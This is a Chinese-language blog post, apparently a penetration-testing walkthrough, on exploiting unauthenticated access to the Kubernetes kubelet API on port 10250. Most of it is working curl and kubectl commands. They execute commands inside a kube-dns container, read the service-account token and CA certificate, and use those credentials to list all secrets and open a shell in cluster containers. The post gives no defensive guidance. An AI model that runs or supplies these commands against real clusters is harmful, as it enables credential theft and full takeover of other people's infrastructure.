Kubernetes 10250端口未授权访问漏洞:令牌窃取与kubectl接管实战

本文详细分析了Kubernetes kubelet API 10250端口的未授权访问漏洞,通过curl命令实现容器内命令执行、令牌窃取,并利用kubectl工具接管整个集群,涵盖从信息收集到权限提升的完整攻击链。

Kubernetes: 未授权kubelet API 10250端口令牌窃取与kubectl接管

初始探测与容器枚举

通过kube-hunter扫描发现开放的10250端口后,使用以下命令获取运行中的Pod列表:

1
curl -s https://k8-node:10250/runningpods/

容器内命令执行

利用返回的Pod信息构造POST请求在容器内执行命令:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"

输出显示容器文件系统结构,确认命令执行成功。

环境变量与密钥提取

检查环境变量寻找Kubernetes认证凭据:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"

重点关注以下环境变量:

  • KUBERNETES_PORT=tcp://10.10.10.10:443 (API服务器地址)
  • KUBLET_CERTKUBLET_KEYCA_CERT (认证凭据)

挂载密钥文件提取

当环境变量中未找到凭据时,检查挂载的secret文件:

1
2
3
4
5
6
7
8
9
# 查看挂载点
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"

# 列出serviceaccount目录
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"

# 提取token和CA证书
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

kubectl集群接管

使用获取的token和CA证书通过kubectl控制集群:

1
2
3
4
5
6
7
8
# 列出所有命名空间的Pod
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get pods --all-namespaces

# 获取所有secret
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get secrets --all-namespaces

# 在容器内获取shell
kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... /bin/sh

替代认证方式

如果通过环境变量获取的是密钥文件而非token,使用以下命令格式:

1
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces

通过这种方法,攻击者可以完全接管Kubernetes集群,访问敏感数据并在任意容器内执行命令。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计